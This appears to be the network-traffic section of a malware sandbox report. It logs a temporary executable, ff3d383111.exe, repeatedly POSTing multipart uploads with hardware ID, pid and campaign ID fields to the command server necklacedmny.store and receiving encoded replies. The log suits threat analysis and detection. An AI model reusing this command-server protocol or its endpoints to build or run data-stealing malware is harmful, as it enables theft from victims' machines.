2024-10-31 19:53:05 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 19:53:05 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 19:53:05 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:53:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b62jhdpvtkm80a4g3i62ld3vtj; expires=Mon, 24-Feb-2025 13:39:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4VOP3Ql7PoEo6Qq6chCFveWImI85X4ZQ5uS8%2FHA1X3zC2OrevApG842rKofaSkE7vFluyGebPrSl43IH6qqtbjvY5tslSVe6X2k16AfYc5XFInabcctuSCrWs4UYQ%2F%2F%2BBNLAuI8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db6306fbcad2c8f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2393&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1097801&cwnd=251&unsent_bytes=0&cid=1efbe367169d180a&ts=511&x=0"
2024-10-31 19:53:05 UTC	354	IN	Data Raw: 31 64 37 66 0d 0a 69 32 56 42 38 71 50 39 4e 65 75 6b 4b 36 32 48 51 33 2f 44 31 76 45 55 4e 59 45 74 54 7a 4b 63 68 66 49 53 53 61 74 56 6f 56 76 77 52 7a 66 51 6d 63 6b 5a 79 64 64 4f 6a 37 30 33 44 62 61 7a 33 54 5a 55 35 51 39 31 56 50 33 70 67 58 64 6c 69 53 50 4d 65 62 45 44 49 4a 37 51 6d 42 6e 4a 77 56 4f 50 76 52 67 45 34 62 4f 66 4e 67 2b 6a 53 43 56 51 2f 65 6d 51 63 79 4c 45 4a 63 30 34 34 77 6b 6d 6d 73 61 65 55 59 72 49 52 73 6a 69 4a 68 36 70 75 4a 68 35 58 65 77 50 59 78 44 35 2f 39 41 6f 61 2b 59 77 31 54 72 47 42 44 4b 5a 67 59 41 5a 6b 49 5a 4f 77 36 56 35 58 61 4b 7a 6b 33 68 54 35 55 59 6e 57 76 54 68 6b 58 59 6a 32 7a 7a 48 4d 2b 4d 48 4a 5a 76 4d 6c 30 57 48 77 6b 48 44 35 43 77 65 34 66 72 54 63 55 2b 6a 46 32 30 44 7a 4f 53 42 59 Data Ascii: 1d7fi2VB8qP9NeukK62HQ3/D1vEUNYEtTzKchfISSatVoVvwRzfQmckZyddOj703Dbaz3TZU5Q91VP3pgXdliSPMebEDIJ7QmBnJwVOPvRgE4bOfNg+jSCVQ/emQcyLEJc044wkmmsaeUYrIRsjiJh6puJh5XewPYxD5/9Aoa+Yw1TrGBDKZgYAZkIZOw6V5XaKzk3hT5UYnWvThkXYj2zzHM+MHJZvMl0WHwkHD5Cwe4frTcU+jF20DzOSBY
2024-10-31 19:53:05 UTC	1369	IN	Data Raw: 6b 6c 65 62 7a 6b 4c 45 34 44 4d 57 71 4c 6d 65 64 6c 72 70 51 43 35 51 2b 65 32 61 66 79 48 4e 4f 73 34 2f 36 51 64 6a 33 6f 47 59 54 38 6d 65 43 65 7a 67 4d 52 71 74 6f 74 46 4d 46 2f 77 42 4e 42 44 35 36 39 41 6f 61 38 45 79 77 44 72 69 43 43 43 59 79 6f 31 58 6d 38 42 45 79 76 63 6e 47 4b 2b 2b 6b 47 52 64 37 55 6b 75 57 66 58 75 6c 58 63 76 69 58 6d 44 50 76 46 48 65 39 44 67 6b 6c 79 46 7a 46 37 50 70 54 35 54 75 50 53 55 65 68 65 37 44 79 6c 52 2b 75 61 55 66 69 58 4e 4f 38 55 33 35 41 67 6c 6d 73 47 59 58 59 48 4f 53 4d 4c 75 4c 68 32 6b 75 5a 64 77 57 2b 4a 4b 62 52 36 2b 34 49 67 77 63 34 6b 5a 78 44 72 37 52 52 61 54 7a 35 46 51 6e 34 5a 57 67 66 78 68 47 71 33 30 79 7a 5a 5a 35 6b 41 2f 55 65 7a 69 6e 6d 49 6e 7a 44 48 4f 4f 75 63 48 4a 70 66 Data Ascii: klebzkLE4DMWqLmedlrpQC5Q+e2afyHNOs4/6Qdj3oGYT8meCezgMRqtotFMF/wBNBD569Aoa8EywDriCCCYyo1Xm8BEyvcnGK++kGRd7UkuWfXulXcviXmDPvFHe9DgklyFzF7PpT5TuPSUehe7DylR+uaUfiXNO8U35AglmsGYXYHOSMLuLh2kuZdwW+JKbR6+4Igwc4kZxDr7RRaTz5FQn4ZWgfxhGq30yzZZ5kA/UezinmInzDHOOucHJpf
2024-10-31 19:53:05 UTC	1369	IN	Data Raw: 34 5a 57 67 66 78 68 47 71 33 30 79 7a 5a 62 36 6b 38 6d 57 76 72 6e 6c 33 30 75 79 6a 44 41 4e 4f 34 4e 4c 5a 66 46 6b 31 36 45 77 45 6e 49 34 53 51 50 70 4c 32 66 65 68 65 74 44 79 70 49 76 72 2f 51 58 79 7a 66 4e 4f 77 36 2b 41 35 6a 6a 34 2b 47 46 34 37 4b 43 5a 65 6c 4a 68 69 70 76 35 56 2b 56 2f 46 4b 49 31 76 2f 37 5a 5a 78 4a 73 55 78 77 7a 6a 70 41 53 2b 51 78 70 68 46 6d 38 4e 50 33 65 39 68 55 2b 47 7a 69 7a 59 50 6f 33 6b 39 52 2b 2f 78 30 6b 55 6f 78 7a 6e 45 4c 36 6b 59 62 59 6d 42 6d 46 76 4a 6e 67 6e 45 35 53 30 61 71 62 4b 58 66 6c 6a 73 52 6a 39 52 38 75 6d 43 64 79 76 41 4f 63 77 31 34 41 6f 6b 6e 63 71 56 57 6f 33 42 53 49 2b 72 59 52 71 35 39 4d 73 32 59 66 4e 43 49 58 37 31 36 35 6b 77 4e 49 63 75 67 7a 37 6c 52 33 76 51 78 5a 4e 66 Data Ascii: 4ZWgfxhGq30yzZb6k8mWvrnl30uyjDANO4NLZfFk16EwEnI4SQPpL2fehetDypIvr/QXyzfNOw6+A5jj4+GF47KCZelJhipv5V+V/FKI1v/7ZZxJsUxwzjpAS+QxphFm8NP3e9hU+GzizYPo3k9R+/x0kUoxznEL6kYbYmBmFvJngnE5S0aqbKXfljsRj9R8umCdyvAOcw14AokncqVWo3BSI+rYRq59Ms2YfNCIX7165kwNIcugz7lR3vQxZNf
2024-10-31 19:53:05 UTC	1369	IN	Data Raw: 72 67 4a 52 71 6c 73 70 77 32 47 61 4e 49 4e 52 43 6d 70 37 39 58 48 6f 73 57 2b 58 6e 32 53 54 72 51 78 70 4d 58 30 59 5a 46 7a 4f 6b 70 45 71 65 39 6e 33 78 65 36 45 4d 6d 56 50 4c 75 6c 58 59 71 7a 44 4c 43 50 65 55 4e 4a 5a 50 43 6b 46 69 47 7a 67 6d 42 70 53 59 46 34 65 7a 54 55 30 44 6f 51 53 73 51 34 61 6d 4a 4d 43 7a 46 64 35 74 35 35 51 34 6c 6c 73 53 54 56 6f 2f 4f 54 4d 66 68 49 42 75 6e 74 35 78 79 55 75 4a 41 4b 56 7a 77 37 5a 46 78 4a 38 49 34 79 44 79 70 53 57 4f 58 32 64 38 50 79 66 64 4b 32 66 49 78 45 65 47 72 33 57 38 58 35 45 4e 74 43 4c 37 6d 67 6e 6f 68 78 7a 4c 4d 50 4f 6f 49 4a 4a 33 48 6b 31 32 41 7a 6b 2f 41 37 44 4d 65 72 62 71 55 65 46 76 74 51 69 64 54 38 36 66 65 4d 43 7a 52 64 35 74 35 78 51 41 75 76 73 71 54 55 4d 6e 5a 42 Data Ascii: rgJRqlspw2GaNINRCmp79XHosW+Xn2STrQxpMX0YZFzOkpEqe9n3xe6EMmVPLulXYqzDLCPeUNJZPCkFiGzgmBpSYF4ezTU0DoQSsQ4amJMCzFd5t55Q4llsSTVo/OTMfhIBunt5xyUuJAKVzw7ZFxJ8I4yDypSWOX2d8PyfdK2fIxEeGr3W8X5ENtCL7mgnohxzLMPOoIJJ3Hk12Azk/A7DMerbqUeFvtQidT86feMCzRd5t5xQAuvsqTUMnZB
2024-10-31 19:53:05 UTC	1369	IN	Data Raw: 64 70 71 7a 54 4c 68 66 56 53 44 31 41 2f 61 57 68 5a 69 6a 66 50 4d 34 31 71 52 68 74 69 59 47 59 57 38 6d 65 43 63 6e 71 4b 42 36 75 74 5a 70 36 57 75 5a 47 4b 46 48 34 34 35 70 36 4b 38 38 78 77 6a 7a 6a 42 43 4b 61 79 4a 68 66 6a 73 56 62 6a 36 74 68 47 72 6e 30 79 7a 5a 2b 35 46 30 6a 51 4c 37 34 33 6d 6c 72 7a 6a 75 44 59 61 6b 44 4b 5a 2f 46 6d 46 75 50 77 30 2f 43 35 43 34 63 6f 62 75 58 66 56 37 6c 54 69 42 56 38 2b 4f 43 65 69 44 47 4f 38 6f 31 35 45 64 74 30 4d 61 48 46 39 47 47 65 4d 4c 72 4c 78 71 33 39 49 77 34 54 71 4e 49 49 52 43 6d 70 35 46 38 4a 4d 6f 34 77 44 72 6f 44 54 47 43 7a 5a 5a 66 6a 4d 70 43 77 65 4d 7a 47 36 36 39 6b 48 56 65 35 45 63 68 57 76 33 67 30 44 35 72 7a 69 2b 44 59 61 6b 6b 4e 49 44 4d 33 30 6a 48 33 77 6e 49 36 57 Data Ascii: dpqzTLhfVSD1A/aWhZijfPM41qRhtiYGYW8meCcnqKB6utZp6WuZGKFH445p6K88xwjzjBCKayJhfjsVbj6thGrn0yzZ+5F0jQL743mlrzjuDYakDKZ/FmFuPw0/C5C4cobuXfV7lTiBV8+OCeiDGO8o15Edt0MaHF9GGeMLrLxq39Iw4TqNIIRCmp5F8JMo4wDroDTGCzZZfjMpCweMzG669kHVe5EchWv3g0D5rzi+DYakkNIDM30jH3wnI6W
2024-10-31 19:53:05 UTC	1369	IN	Data Raw: 67 58 4e 52 37 45 41 6b 57 66 72 76 6b 33 41 76 7a 54 44 47 4f 75 55 4d 4a 4a 50 4f 6d 31 36 48 7a 30 61 50 71 32 45 61 75 66 54 4c 4e 6e 62 34 54 43 46 64 76 76 6a 65 61 57 76 4f 4f 34 4e 68 71 51 73 74 6c 63 47 56 55 59 33 44 54 38 58 67 49 52 61 69 75 35 64 77 55 2b 78 50 4a 6c 6e 2f 34 5a 56 36 49 4d 38 36 77 44 2f 76 52 32 33 51 78 6f 63 58 30 59 5a 70 31 4f 67 74 47 75 47 72 33 57 38 58 35 45 4e 74 43 4c 37 73 6e 48 51 73 79 54 72 41 4d 65 77 44 4b 5a 58 42 6c 30 57 42 78 6b 37 64 39 79 45 55 70 4c 69 51 64 6c 50 6c 52 69 74 54 2b 71 66 65 4d 43 7a 52 64 35 74 35 78 41 73 6b 75 63 61 45 46 35 61 49 55 49 2f 69 4c 56 33 35 39 4a 4a 39 58 65 78 43 4c 6c 62 39 37 4a 56 36 4b 73 34 2f 7a 69 76 71 43 43 79 55 77 5a 42 52 6a 38 64 47 79 65 49 6f 48 4b 6d Data Ascii: gXNR7EAkWfrvk3AvzTDGOuUMJJPOm16Hz0aPq2EaufTLNnb4TCFdvvjeaWvOO4NhqQstlcGVUY3DT8XgIRaiu5dwU+xPJln/4ZV6IM86wD/vR23QxocX0YZp1OgtGuGr3W8X5ENtCL7snHQsyTrAMewDKZXBl0WBxk7d9yEUpLiQdlPlRitT+qfeMCzRd5t5xAskucaEF5aIUI/iLV359JJ9XexCLlb97JV6Ks4/zivqCCyUwZBRj8dGyeIoHKm
2024-10-31 19:53:05 UTC	360	IN	Data Raw: 64 31 6f 4f 31 72 35 39 35 64 6e 4a 49 6c 35 67 7a 61 70 58 78 72 51 79 4a 68 4d 6d 4e 42 45 33 2b 4a 68 49 75 2f 30 69 7a 59 50 6f 33 6f 75 58 76 44 67 68 6d 46 6d 37 69 48 4a 50 76 6b 41 4e 4a 2b 42 30 52 65 50 68 68 47 63 71 32 45 5a 73 50 54 4c 4a 67 57 34 47 6e 34 48 72 72 57 50 50 6a 4b 4a 49 59 4e 68 75 30 6c 6a 67 6f 48 48 46 38 37 46 57 39 33 6a 49 67 75 69 38 36 31 49 63 50 6c 43 4b 30 66 76 32 61 35 33 4d 63 51 78 31 43 69 6c 45 69 43 65 7a 35 68 42 79 59 67 4a 77 4b 56 35 4a 4f 48 38 30 30 6b 5a 6f 31 64 74 43 4c 37 53 6b 33 34 6c 7a 69 48 53 64 4d 34 64 4c 70 62 57 6a 68 66 48 68 6b 2b 50 76 58 46 54 34 62 43 43 4e 67 2b 7a 48 58 59 46 72 62 44 41 49 6a 53 48 4c 6f 4d 76 71 56 39 78 33 6f 47 4e 46 39 47 47 44 73 7a 33 4d 78 75 69 6f 70 41 78 Data Ascii: d1oO1r595dnJIl5gzapXxrQyJhMmNBE3+JhIu/0izYPo3ouXvDghmFm7iHJPvkANJ+B0RePhhGcq2EZsPTLJgW4Gn4HrrWPPjKJIYNhu0ljgoHHF87FW93jIgui861IcPlCK0fv2a53McQx1CilEiCez5hByYgJwKV5JOH800kZo1dtCL7Sk34lziHSdM4dLpbWjhfHhk+PvXFT4bCCNg+zHXYFrbDAIjSHLoMvqV9x3oGNF9GGDsz3MxuiopAx
2024-10-31 19:53:05 UTC	1369	IN	Data Raw: 32 32 31 33 0d 0a 72 70 30 63 78 30 4a 6e 66 45 49 72 55 57 38 6e 6d 4e 78 37 6d 69 71 31 31 51 65 35 41 4a 6c 48 41 32 62 35 39 4b 73 6f 35 67 51 6a 2f 43 6a 4f 54 78 4a 68 70 74 38 68 4f 32 2b 49 76 47 36 48 30 33 54 5a 59 6f 78 63 55 45 4c 61 6e 72 7a 35 72 30 58 65 62 65 64 77 45 4c 5a 37 47 69 55 62 45 35 56 2f 43 36 69 6f 63 34 66 72 54 63 42 65 37 48 32 4d 51 2b 76 62 51 4b 48 75 62 62 4a 5a 71 76 6c 64 78 6a 34 2b 47 46 35 2b 47 45 5a 32 72 59 51 2f 68 37 4e 4d 78 57 65 35 4f 4c 6c 37 39 39 59 4a 32 4b 4e 38 30 68 41 66 58 4a 69 36 62 7a 5a 4a 59 67 76 68 33 37 75 67 71 45 61 79 37 6d 45 68 70 39 6b 77 6a 58 76 6e 78 67 54 42 6c 69 54 69 44 59 64 42 48 61 39 44 2b 30 52 65 52 68 68 47 50 30 43 49 54 72 37 4f 46 5a 78 72 43 51 69 5a 63 38 2b 69 62 Data Ascii: 2213rp0cx0JnfEIrUW8nmNx7miq11Qe5AJlHA2b59Kso5gQj/CjOTxJhpt8hO2+IvG6H03TZYoxcUELanrz5r0XebedwELZ7GiUbE5V/C6ioc4frTcBe7H2MQ+vbQKHubbJZqvldxj4+GF5+GEZ2rYQ/h7NMxWe5OLl799YJ2KN80hAfXJi6bzZJYgvh37ugqEay7mEhp9kwjXvnxgTBliTiDYdBHa9D+0ReRhhGP0CITr7OFZxrCQiZc8+ib
2024-10-31 19:53:05 UTC	1369	IN	Data Raw: 58 46 4f 76 38 45 5a 4b 37 2f 75 6b 43 4b 31 6b 2f 4d 32 78 38 32 72 62 4b 55 62 46 44 6c 61 51 30 51 73 4b 65 66 4d 48 50 77 64 34 74 35 31 6b 6c 6a 69 49 48 48 46 37 7a 46 52 38 48 69 4e 77 7a 73 6b 59 52 31 52 2b 56 4d 62 52 36 2b 34 64 41 6f 65 34 64 33 78 79 69 70 58 33 50 43 6d 73 6f 45 33 70 59 62 30 4b 73 34 58 62 66 30 79 79 51 5a 6f 31 31 74 43 4c 36 67 6b 32 49 35 7a 7a 54 56 4f 71 34 35 48 62 62 43 6a 6c 32 6f 79 31 6e 49 32 78 38 49 6f 72 71 64 63 55 48 79 44 32 4d 51 38 61 66 49 53 57 75 42 65 38 55 36 2f 30 63 63 33 6f 47 48 46 39 47 47 66 4d 7a 72 4c 78 71 33 70 64 35 51 56 50 4a 46 44 46 33 75 34 4e 41 2b 61 38 39 33 6d 32 71 6e 52 79 65 42 67 63 63 48 32 35 30 63 6e 4c 4a 78 54 37 37 36 69 6a 5a 42 6f 78 64 2f 48 72 37 31 30 43 68 72 6a Data Ascii: XFOv8EZK7/ukCK1k/M2x82rbKUbFDlaQ0QsKefMHPwd4t51kljiIHHF7zFR8HiNwzskYR1R+VMbR6+4dAoe4d3xyipX3PCmsoE3pYb0Ks4Xbf0yyQZo11tCL6gk2I5zzTVOq45HbbCjl2oy1nI2x8IorqdcUHyD2MQ8afISWuBe8U6/0cc3oGHF9GGfMzrLxq3pd5QVPJFDF3u4NA+a893m2qnRyeBgccH250cnLJxT776ijZBoxd/Hr710Chrj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49857	188.114.97.3	443	7632	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:53:06 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 19:53:06 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B862A4CF12685C55225EA4FC79AFA1FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 19:53:06 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 19:53:07 UTC	1026	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:53:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=orbphfu2ak46ponelfodb1cic5; expires=Mon, 24-Feb-2025 13:39:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q128IV%2F%2FlFNDt0QO4SWdGF7owd1Gh%2FWQc5ginYnBgnEGI6xCg%2Fw872TPu5y2dLWZPQG7fwuTilGFC1VIVEUXbV%2BxbgNXA4np0voY%2F8uqywRBXotJNarQM7t%2BRwDLBS2nk1nXo%2Fc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db6307938754758-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1873&sent=9&recv=22&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19132&delivery_rate=1566252&cwnd=227&unsent_bytes=0&cid=2928b80131d94f14&ts=629&x=0"
2024-10-31 19:53:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 19:53:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49871	188.114.97.3	443	7632	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:53:08 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 19:53:08 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B862A4CF12685C55225EA4FC79AFA1FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 19:53:08 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 19:53:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l16g7ffainsoaj7rsqoegnbagu; expires=Mon, 24-Feb-2025 13:39:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vnq16Y4IfpLCWRztupkM%2BOfL5%2FWft4v6%2Bw4AKwvZvRlvVnGPhr9vSmwYs2oQJ7deCSyTJtK5g%2BoqMOtvzyzaYWFI4EUehdCN19iyigYVdgPt%2FbhuZIlMywAM5sl9RYEtMgQO4lM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db630836810e5f2-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1300&sent=11&recv=14&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9730&delivery_rate=2130978&cwnd=251&unsent_bytes=0&cid=a68b8036b5bb5d4f&ts=897&x=0"
2024-10-31 19:53:08 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 19:53:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49878	188.114.97.3	443	7632	C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 19:53:09 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-31 19:53:09 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 36 32 41 34 43 46 31 32 36 38 35 43 35 35 32 32 35 45 41 34 46 43 37 39 41 46 41 31 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B862A4CF12685C55225EA4FC79AFA1FF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 19:53:09 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
